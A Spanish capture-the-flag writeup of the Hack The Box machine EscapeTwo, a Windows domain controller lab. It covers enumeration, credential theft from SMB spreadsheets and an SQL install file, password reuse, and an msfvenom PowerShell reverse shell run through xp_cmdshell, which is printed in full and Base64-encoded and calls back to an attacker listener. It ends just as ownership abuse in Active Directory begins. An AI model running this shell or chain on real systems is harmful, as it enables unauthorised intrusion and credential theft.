Page cover

🟠EscapeTwo

En esta ocasión vamos a hacer el writeup de la máquina EscapeTwo de Hack the Box, una máquina Windows de dificultad easy/medium.

Tenemos la siguiente pista de inicio:

Como es común en las pruebas de penetración de Windows de la vida real, iniciarás el pentesting con las credenciales de la siguiente cuenta: rose / KxEPkKe6R8su

Escaneo de puertos

sudo nmap -v -sV -sCV -T5 10.10.11.51
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-01-17 15:53:53Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Tenemos un montón de puertos abiertos, lo normal en una máquina windows.

Nos encontramos que el dominio de la máquina es sequel.htb, por lo que la añadiremos al etc/hosts:

sudo echo "10.10.11.51 sequel.htb" | sudo tee -a /etc/hosts

Enumeración

DNS

dnsenum --enum --dnsserver 10.10.11.51 sequel.htb

dnsenum VERSION:1.3.1

-----   sequel.htb   -----

Host's addresses:
__________________

sequel.htb.                              600      IN    A        10.10.11.51

Name Servers:
______________

dc01.sequel.htb.                         3600     IN    A        10.10.11.51

Encontramos que la máquina es el Domain Controller. También añadimos dc01.sequel.htb al /etc/hosts.

Usuarios

kerbrute userenum --dc 10.10.11.51 -d sequel.htb /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt 

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 01/17/25 - Ronnie Flathers @ropnop

2025/01/17 16:25:00 >  Using KDC(s):
2025/01/17 16:25:00 >  	10.10.11.51:88

2025/01/17 16:25:00 >  [+] VALID USERNAME:	michael@sequel.htb
2025/01/17 16:25:01 >  [+] VALID USERNAME:	ryan@sequel.htb
2025/01/17 16:25:03 >  [+] VALID USERNAME:	oscar@sequel.htb
2025/01/17 16:25:03 >  [+] VALID USERNAME:	rose@sequel.htb
2025/01/17 16:25:10 >  [+] VALID USERNAME:	administrator@sequel.htb

Encontramos varios usuarios dentro del sistema, pero como nos daba la pista al incio ya tenemos las credenciales para el usuario rose, por lo que nos centraremos en ese usuario.

rose / KxEPkKe6R8su

Vamos a probar a enumerar otros posibles usuarios que no hubiera en la lista de usuarios de xatonet:

crackmapexec smb sequel.htb -u "rose" -p "KxEPkKe6R8su" --rid-brute | grep SidTypeUser

SMB                      sequel.htb      445    DC01             500: SEQUEL\Administrator (SidTypeUser)
SMB                      sequel.htb      445    DC01             501: SEQUEL\Guest (SidTypeUser)
SMB                      sequel.htb      445    DC01             502: SEQUEL\krbtgt (SidTypeUser)
SMB                      sequel.htb      445    DC01             1000: SEQUEL\DC01$ (SidTypeUser)
SMB                      sequel.htb      445    DC01             1103: SEQUEL\michael (SidTypeUser)
SMB                      sequel.htb      445    DC01             1114: SEQUEL\ryan (SidTypeUser)
SMB                      sequel.htb      445    DC01             1116: SEQUEL\oscar (SidTypeUser)
SMB                      sequel.htb      445    DC01             1122: SEQUEL\sql_svc (SidTypeUser)
SMB                      sequel.htb      445    DC01             1601: SEQUEL\rose (SidTypeUser)
SMB                      sequel.htb      445    DC01             1607: SEQUEL\ca_svc (SidTypeUser)

Encontramnos algún usuario más que puede ser interesante, como ca_svc y sql_svc.

Acceso por SMB

Al acceder por SMB nos encontramos un recurso compartido Accounting Department interesante:

smbmap -H 10.10.11.51 -u rose -p 'KxEPkKe6R8su'

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                          
                                                                                                                             
[+] IP: 10.10.11.51:445	Name: sequel.htb          	Status: Authenticated
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	Accounting Department                             	READ ONLY	
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	IPC$                                              	READ ONLY	Remote IPC
	NETLOGON                                          	READ ONLY	Logon server share 
	SYSVOL                                            	READ ONLY	Logon server share 
	Users                                             	READ ONLY	
[*] Closed 1 connections    

Vamos a ver su contenido, ya que tenemos permisos de lectura.

smbclient //10.10.11.51/Accounting\ Department -U rose

Password for [WORKGROUP\rose]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Jun  9 10:52:21 2024
  ..                                  D        0  Sun Jun  9 10:52:21 2024
  accounting_2024.xlsx                A    10217  Sun Jun  9 10:14:49 2024
  accounts.xlsx                       A     6780  Sun Jun  9 10:52:07 2024

		6367231 blocks of size 4096. 924132 blocks available
smb: \> get accounts.xlsx 
getting file \accounts.xlsx of size 6780 as accounts.xlsx (38,7 KiloBytes/sec) (average 38,7 KiloBytes/sec)
smb: \> get accounting_2024.xlsx
getting file \accounting_2024.xlsx of size 10217 as accounting_2024.xlsx (58,7 KiloBytes/sec) (average 48,7 KiloBytes/sec)
smb: \>

Encontramos 2 excels interesantes, nos los descargamos con get y vamos a ver su contenido. Los archivos están corruptos por lo que necesitamos:

gnumeric accounts.xlsx

No se pudo encontrar la parte con ID=«rId3» para «workbook.xml»

Ese error se produce porque los magic bytes del archivo no se corresponden con los de un xlsx:

xxd -l 8 accounts.xlsx
          
00000000: 5048 0403 1400 0808                      PH......

Los archivos .xlsx tienen los siguientes magic bytes en sus primeros 4 bytes:

50 4B 03 04

Vamos a modificar esto con hexedit:

sudo apt install hexedit
hexedit accounts.xlsx

Verás algo como esto al abrir el archivo:

00000000  xx xx xx xx xx xx xx xx  ........

Sustituye los primeros 4 bytes por 50 4B 03 04 y con Ctrl +X guardamos y salimos del programa.

Ahora con libreoffice ya podemos abrir el archivo sin problema:

Encontramos las credenciales de un SysAdmin!

sa@sequel.htb
MSSQLP@ssw0rd!

Conexión a MSSQL

impacket-mssqlclient 'sa:MSSQLP@ssw0rd!@10.10.11.51'

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL (sa  dbo@master)> SHOW DATABASES;
ERROR(DC01\SQLEXPRESS): Line 1: Could not find stored procedure 'SHOW'.
SQL (sa  dbo@master)> SELECT DB_NAME() AS CurrentDatabase;
CurrentDatabase   
---------------   
master    

Una vez dentro de la base de datos vamos a usar la técnica de XP_CMDSHELL para ejecutar comandos. No está habilitada por defecto así que lo podemos habilitar de la siguiente manera:

-- Para permitir que se cambien las opciones avanzadas. 
EXECUTE sp_configure 'show advanced options', 1
GO

-- Para actualizar el valor configurado actualmente para las opciones avanzadas. 
RECONFIGURE
GO  

-- Para habilitar la función. 
EXECUTE sp_configure 'xp_cmdshell', 1
GO  

-- Para actualizar el valor configurado actualmente para esta característica.  
RECONFIGURE
GO
 
-- Comprobación
EXEC sp_configure 'xp_cmdshell';
name          minimum   maximum   config_value   run_value   
-----------   -------   -------   ------------   ---------   
xp_cmdshell         0         1              1           1   
SQL (sa  dbo@master)> exec xp_cmdshell "whoami"
output           
--------------   
sequel\sql_svc   

NULL    

Funciona! por lo que vamos a utilizar esto para crear una reverse shell.

1. Generamos payload con msfvenom

msfvenom -p cmd/windows/reverse_powershell lhost=10.10.15.50 lport=4444 -o reverse_shell.exe 

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 1584 bytes
Saved as: reverse_shell.exe
powershell -w hidden -nop -c $a='10.10.15.50';$b=4444;$c=New-Object system.net.sockets.tcpclient;$nb=New-Object System.Byte[] $c.ReceiveBufferSize;$ob=New-Object System.Byte[] 65536;$eb=New-Object System.Byte[] 65536;$e=new-object System.Text.UTF8Encoding;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.RedirectStandardError=1;$p.StartInfo.UseShellExecute=0;$q=$p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;$es=$p.StandardError;$osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null);$esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null);$c.connect($a,$b);$s=$c.GetStream();while ($true) {    start-sleep -m 100;    if ($osread.IsCompleted -and $osread.Result -ne 0) {      $r=$os.BaseStream.EndRead($osread);      $s.Write($ob,0,$r);      $s.Flush();      $osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null);    }    if ($esread.IsCompleted -and $esread.Result -ne 0) {      $r=$es.BaseStream.EndRead($esread);      $s.Write($eb,0,$r);      $s.Flush();      $esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null);    }    if ($s.DataAvailable) {      $r=$s.Read($nb,0,$nb.Length);      if ($r -lt 1) {          break;      } else {          $str=$e.GetString($nb,0,$r);          $is.write($str);      }    }    if ($c.Connected -ne $true -or ($c.Client.Poll(1,[System.Net.Sockets.SelectMode]::SelectRead) -and $c.Client.Available -eq 0)) {        break;    }    if ($p.ExitCode -ne $null) {        break;    }}%   

2. Preparar el payload PowerShell

El comando PowerShell a ejecutar debe ser convertido a Base64. Esto es necesario porque los comandos PowerShell codificados en Base64 son más fáciles de manejar y menos propensos a romperse debido a caracteres especiales.

$a='10.10.15.50';$b=4444;$c=New-Object system.net.sockets.tcpclient;$nb=New-Object System.Byte[] $c.ReceiveBufferSize;$ob=New-Object System.Byte[] 65536;$eb=New-Object System.Byte[] 65536;$e=New-Object System.Text.UTF8Encoding;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.RedirectStandardError=1;$p.StartInfo.UseShellExecute=0;$q=$p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;$es=$p.StandardError;$osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null);$esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null);$c.connect($a, $b);$s=$c.GetStream();while ($true) {start-sleep -m 100;if ($osread.IsCompleted -and $osread.Result -ne 0) {$r=$os.BaseStream.EndRead($osread);$s.Write($ob, 0, $r);$s.Flush();$osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null);}if ($esread.IsCompleted -and $esread.Result -ne 0) {$r=$es.BaseStream.EndRead($esread);$s.Write($eb, 0, $r);$s.Flush();$esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null);}if ($s.DataAvailable) {$r=$s.Read($nb, 0, $nb.Length);if ($r -lt 1) {break;} else {$str=$e.GetString($nb, 0, $r);$is.write($str);}}if ($c.Connected -ne $true -or ($c.Client.Poll(1, [System.Net.Sockets.SelectMode]::SelectRead) -and $c.Client.Available -eq 0)) {break;}if ($p.ExitCode -ne $null) {break;}}"

3. Convertir a Base64

En Kali Linux podemos usar python para convertir el comando a Base64:

python3 -c "import base64; print(base64.b64encode(('\$a=\'10.10.15.50\';\$b=4444;\$c=New-Object system.net.sockets.tcpclient;\$nb=New-Object System.Byte[] \$c.ReceiveBufferSize;\$ob=New-Object System.Byte[] 65536;\$eb=New-Object System.Byte[] 65536;\$e=New-Object System.Text.UTF8Encoding;\$p=New-Object System.Diagnostics.Process;\$p.StartInfo.FileName=\'cmd.exe\';\$p.StartInfo.RedirectStandardInput=1;\$p.StartInfo.RedirectStandardOutput=1;\$p.StartInfo.RedirectStandardError=1;\$p.StartInfo.UseShellExecute=0;\$q=\$p.Start();\$is=\$p.StandardInput;\$os=\$p.StandardOutput;\$es=\$p.StandardError;\$osread=\$os.BaseStream.BeginRead(\$ob, 0, \$ob.Length, \$null, \$null);\$esread=\$es.BaseStream.BeginRead(\$eb, 0, \$eb.Length, \$null, \$null);\$c.connect(\$a, \$b);\$s=\$c.GetStream();while (\$true) {start-sleep -m 100;if (\$osread.IsCompleted -and \$osread.Result -ne 0) {\$r=\$os.BaseStream.EndRead(\$osread);\$s.Write(\$ob, 0, \$r);\$s.Flush();\$osread=\$os.BaseStream.BeginRead(\$ob, 0, \$ob.Length, \$null, \$null);}if (\$esread.IsCompleted -and \$esread.Result -ne 0) {\$r=\$es.BaseStream.EndRead(\$esread);\$s.Write(\$eb, 0, \$r);\$s.Flush();\$esread=\$es.BaseStream.BeginRead(\$eb, 0, \$eb.Length, \$null, \$null);}if (\$s.DataAvailable) {\$r=\$s.Read(\$nb, 0, \$nb.Length);if (\$r -lt 1) {break;} else {\$str=\$e.GetString(\$nb, 0, \$r);\$is.write(\$str);}}if (\$c.Connected -ne \$true -or (\$c.Client.Poll(1, [System.Net.Sockets.SelectMode]::SelectRead) -and \$c.Client.Available -eq 0)) {break;}if (\$p.ExitCode -ne \$null) {break;}}').encode('utf-16le')).decode('utf-8'))"

El resultado será una cadena Base64, algo como:

JABhAD0AJwAxADAALgAxADAALgAxADUALgA1ADAAJwA7ACQAYgA9ADQANAA0ADQAOwAkAGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAcwB5AHMAdABlAG0ALgBuAGUAdAAuAHMAbwBjAGsAZQB0AHMALgB0AGMAcABjAGwAaQBlAG4AdAA7ACQAbgBiAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQgB5AHQAZQBbAF0AIAAkAGMALgBSAGUAYwBlAGkAdgBlAEIAdQBmAGYAZQByAFMAaQB6AGUAOwAkAG8AYgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEIAeQB0AGUAWwBdACAANgA1ADUAMwA2ADsAJABlAGIAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBCAHkAdAB....

4. Ejecutar el comando con mssql-command-tools

Descargamos la última release y le damos permisos de ejecución:

chmod +x mssql-command-tools_Linux_amd64

Sustituye yourbase64here por la cadena Base64 generada.

./mssql-command-tools_Linux_amd64 --host 10.10.xx.xx -u "sa" -p 'MSSQLP@ssw0rd!' -c "powershell -e <yourbase64here>"
sudo ./mssql-command-tools_Linux_amd64 --host 10.10.11.51 -u "sa" -p 'MSSQLP@ssw0rd!' -c "powershell -e JABhAD0AJwAxADAALgAxADAALgAxADUALgA1ADAAJwA7ACQAYgA9ADQANAA0ADQAOwAkAGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAcwB5AHMAdABlAG0ALgBuAGUAdAAuAHMAbwBjAGsAZQB0AHMALgB0AGMAcABjAGwAaQBlAG4AdAA7ACQAbgBiAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQgB5AHQAZQBbAF0AIAAkAGMALgBSAGUAYwBlAGkAdgBlAEIAdQBmAGYAZQByAFMAaQB6AGUAOwAkAG8AYgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEIAeQB0AGUAWwBdACAANgA1ADUAMwA2ADsAJABlAGIAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBCAHkAdABlAFsAXQAgADYANQA1ADMANgA7ACQAZQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwA7ACQAcAA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAOwAkAHAALgBTAHQAYQByAHQASQBuAGYAbwAuAEYAaQBsAGUATgBhAG0AZQA9ACcAYwBtAGQALgBlAHgAZQAnADsAJABwAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBSAGUAZABpAHIAZQBjAHQAUwB0AGEAbgBkAGEAcgBkAEkAbgBwAHUAdAA9ADEAOwAkAHAALgBTAHQAYQByAHQASQBuAGYAbwAuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQATwB1AHQAcAB1AHQAPQAxADsAJABwAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBSAGUAZABpAHIAZQBjAHQAUwB0AGEAbgBkAGEAcgBkAEUAcgByAG8AcgA9ADEAOwAkAHAALgBTAHQAYQByAHQASQBuAGYAbwAuAFUAcwBlAFMAaABlAGwAbABFAHgAZQBjAHUAdABlAD0AMAA7ACQAcQA9ACQAcAAuAFMAdABhAHIAdAAoACkAOwAkAGkAcwA9ACQAcAAuAFMAdABhAG4AZABhAHIAZABJAG4AcAB1AHQAOwAkAG8AcwA9ACQAcAAuAFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA7ACQAZQBzAD0AJABwAC4AUwB0AGEAbgBkAGEAcgBkAEUAcgByAG8AcgA7ACQAbwBzAHIAZQBhAGQAPQAkAG8AcwAuAEIAYQBzAGUAUwB0AHIAZQBhAG0ALgBCAGUAZwBpAG4AUgBlAGEAZAAoACQAbwBiACwAIAAwACwAIAAkAG8AYgAuAEwAZQBuAGcAdABoACwAIAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsAJABlAHMAcgBlAGEAZAA9ACQAZQBzAC4AQgBhAHMAZQBTAHQAcgBlAGEAbQAuAEIAZQBnAGkAbgBSAGUAYQBkACgAJABlAGIALAAgADAALAAgACQAZQBiAC4ATABlAG4AZwB0AGgALAAgACQAbgB1AGwAbAAsACAAJABuAHUAbABsACkAOwAkAGMALgBjAG8AbgBuAGUAYwB0ACgAJABhACwAIAAkAGIAKQA7ACQAcwA9ACQAYwAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AHcAaABpAGwAZQAgACgAJAB0AHIAdQBlACkAIAB7AHMAdABhAHIAdAAtAHMAbABlAGUAcAAgAC0AbQAgADEAMAAwADsAaQBmACAAKAAkAG8AcwByAGUAYQBkAC4ASQBzAEMAbwBtAHAAbABlAHQAZQBkACAALQBhAG4AZAAgACQAbwBzAHIAZQBhAGQALgBSAGUAcwB1AGwAdAAgAC0AbgBlACAAMAApACAAewAkAHIAPQAkAG8AcwAuAEIAYQBzAGUAUwB0AHIAZQBhAG0ALgBFAG4AZABSAGUAYQBkACgAJABvAHMAcgBlAGEAZAApADsAJABzAC4AVwByAGkAdABlACgAJABvAGIALAAgADAALAAgACQAcgApADsAJABzAC4ARgBsAHUAcwBoACgAKQA7ACQAbwBzAHIAZQBhAGQAPQAkAG8AcwAuAEIAYQBzAGUAUwB0AHIAZQBhAG0ALgBCAGUAZwBpAG4AUgBlAGEAZAAoACQAbwBiACwAIAAwACwAIAAkAG8AYgAuAEwAZQBuAGcAdABoACwAIAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsAfQBpAGYAIAAoACQAZQBzAHIAZQBhAGQALgBJAHMAQwBvAG0AcABsAGUAdABlAGQAIAAtAGEAbgBkACAAJABlAHMAcgBlAGEAZAAuAFIAZQBzAHUAbAB0ACAALQBuAGUAIAAwACkAIAB7ACQAcgA9ACQAZQBzAC4AQgBhAHMAZQBTAHQAcgBlAGEAbQAuAEUAbgBkAFIAZQBhAGQAKAAkAGUAcwByAGUAYQBkACkAOwAkAHMALgBXAHIAaQB0AGUAKAAkAGUAYgAsACAAMAAsACAAJAByACkAOwAkAHMALgBGAGwAdQBzAGgAKAApADsAJABlAHMAcgBlAGEAZAA9ACQAZQBzAC4AQgBhAHMAZQBTAHQAcgBlAGEAbQAuAEIAZQBnAGkAbgBSAGUAYQBkACgAJABlAGIALAAgADAALAAgACQAZQBiAC4ATABlAG4AZwB0AGgALAAgACQAbgB1AGwAbAAsACAAJABuAHUAbABsACkAOwB9AGkAZgAgACgAJABzAC4ARABhAHQAYQBBAHYAYQBpAGwAYQBiAGwAZQApACAAewAkAHIAPQAkAHMALgBSAGUAYQBkACgAJABuAGIALAAgADAALAAgACQAbgBiAC4ATABlAG4AZwB0AGgAKQA7AGkAZgAgACgAJAByACAALQBsAHQAIAAxACkAIAB7AGIAcgBlAGEAawA7AH0AIABlAGwAcwBlACAAewAkAHMAdAByAD0AJABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAG4AYgAsACAAMAAsACAAJAByACkAOwAkAGkAcwAuAHcAcgBpAHQAZQAoACQAcwB0AHIAKQA7AH0AfQBpAGYAIAAoACQAYwAuAEMAbwBuAG4AZQBjAHQAZQBkACAALQBuAGUAIAAkAHQAcgB1AGUAIAAtAG8AcgAgACgAJABjAC4AQwBsAGkAZQBuAHQALgBQAG8AbABsACgAMQAsACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFMAZQBsAGUAYwB0AE0AbwBkAGUAXQA6ADoAUwBlAGwAZQBjAHQAUgBlAGEAZAApACAALQBhAG4AZAAgACQAYwAuAEMAbABpAGUAbgB0AC4AQQB2AGEAaQBsAGEAYgBsAGUAIAAtAGUAcQAgADAAKQApACAAewBiAHIAZQBhAGsAOwB9AGkAZgAgACgAJABwAC4ARQB4AGkAdABDAG8AZABlACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAYgByAGUAYQBrADsAfQB9AA=="

Este comando ejecutará el PowerShell en el sistema remoto.

5. Configurar el listener en Kali

Asegúrate de que tu máquina atacante tenga un listener en el puerto configurado:

nc -lvnp 4444

Al ejecutar el script recibimos una reverse shell con el objetivo. Estamos dentro!

nc -lvnp 4444           

listening on [any] 4444 ...
connect to [10.10.15.50] from (UNKNOWN) [10.10.11.51] 50210
Microsoft Windows [Version 10.0.17763.6659]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
sequel\sql_svc

C:\Windows\system32>

Credential Hunting

En el directorio SQL2019 descubrimos archivos de configuración interesantes:

C:\SQL2019\ExpressAdv_ENU> dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 3705-289D

 Directory of C:\SQL2019\ExpressAdv_ENU

01/03/2025  07:29 AM    <DIR>          .
01/03/2025  07:29 AM    <DIR>          ..
06/08/2024  02:07 PM    <DIR>          1033_ENU_LP
09/24/2019  09:03 PM                45 AUTORUN.INF
09/24/2019  09:03 PM               788 MEDIAINFO.XML
06/08/2024  02:07 PM                16 PackageId.dat
06/08/2024  02:07 PM    <DIR>          redist
06/08/2024  02:07 PM    <DIR>          resources
09/24/2019  09:03 PM           142,944 SETUP.EXE
09/24/2019  09:03 PM               486 SETUP.EXE.CONFIG
06/08/2024  02:07 PM               717 sql-Configuration.INI
09/24/2019  09:03 PM           249,448 SQLSETUPBOOTSTRAPPER.DLL
06/08/2024  02:07 PM    <DIR>          x64
               7 File(s)        394,444 bytes
               6 Dir(s)   3,534,749,696 bytes free

C:\SQL2019\ExpressAdv_ENU>
C:\SQL2019\ExpressAdv_ENU>cat sql-Configuration.INI
cat sql-Configuration.INI
'cat' is not recognized as an internal or external command,
operable program or batch file.

C:\SQL2019\ExpressAdv_ENU>type sql-Configuration.INI
type sql-Configuration.INI
[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL="0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False" 
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SECURITYMODE="SQL"
SAPWD="MSSQLP@ssw0rd!"
ADDCURRENTUSERASSQLADMIN="False"
TCPENABLED="1"
NPENABLED="1"
BROWSERSVCSTARTUPTYPE="Automatic"
IAcceptSQLServerLicenseTerms=True

Conseguimos las credenciales de sql_svc:

SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"

User flag

Vamos a probar a conectarnos por evil-winrm con estas credenciales:

evil-winrm -i 10.10.11.51 -u sql_svc -p 'WqSZAF6CysDQbGb3'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
                                        
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
                                        
Error: Exiting with code 1

Nos da error, por lo que probaremos esa contraseña con otros usuarios de la máquina. Recordamos que teníamos los usuarios:

2025/01/17 16:25:00 >  [+] VALID USERNAME:	michael@sequel.htb
2025/01/17 16:25:01 >  [+] VALID USERNAME:	ryan@sequel.htb
2025/01/17 16:25:03 >  [+] VALID USERNAME:	oscar@sequel.htb
2025/01/17 16:25:03 >  [+] VALID USERNAME:	rose@sequel.htb
2025/01/17 16:25:10 >  [+] VALID USERNAME:	administrator@sequel.htb

Probando con ryan conseguimos acceder con esa contraseña!

evil-winrm -i 10.10.11.51 -u ryan -p 'WqSZAF6CysDQbGb3'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\ryan\Documents>

En el escritorio encontramos la user flag:

*Evil-WinRM* PS C:\Users\ryan> cd Desktop
*Evil-WinRM* PS C:\Users\ryan\Desktop> dir

    Directory: C:\Users\ryan\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        1/21/2025   4:23 AM             34 user.txt

*Evil-WinRM* PS C:\Users\ryan\Desktop> type user.txt
c3daf7de0630de4d50b700b6246eff76

Escalada de privilegios

Bloodhound

Vamos a usar bloodhound-python para enumerar el sistema remotamente desde Kali Linux:

bloodhound-python -u ryan -p "WqSZAF6CysDQbGb3" -d sequel.htb -ns 10.10.11.51 -c All

INFO: Found AD domain: sequel.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.sequel.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.sequel.htb
INFO: Found 10 users
INFO: Found 59 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.sequel.htb
INFO: Done in 00M 09S

Esto nos genera bastantes archivos json:

ls
20250507132050_computers.json   20250507132050_groups.json
20250507132050_containers.json  20250507132050_ous.json
20250507132050_domains.json     20250507132050_users.json
20250507132050_gpos.json  

Los vamos a comprimir en un zip para importarlo en Bloodhound con el siguiente comando:

zip bloodhound_data.zip 20*.json

Después con Bloodhound abrimos los archivos que nos encontramos. Puedes ver los pasos de instalación de BloodHound CE en la siguiente sección:

🩸BloodHound

Encontramos varias cosas interesantes. Ya enumeramos anteriormente los usuarios del sistema:

Destacan los usuarios:

  • CA_SVC

  • SQL_SVC (tenemos contraseña)

El usuario Ryan tiene permiso WriteOwner en CA_SVC y CA_SVC es el emisor del certificado. Entonces podemos configurar el propietario de CA_SVC como Ryan.

Modificar propietario

Para ello vamos a usar BloodyAD para modificar el propietario de un certificado en el sistema a través de un comando específico, otorgando a 'ryan' control sobre 'ca_svc'.

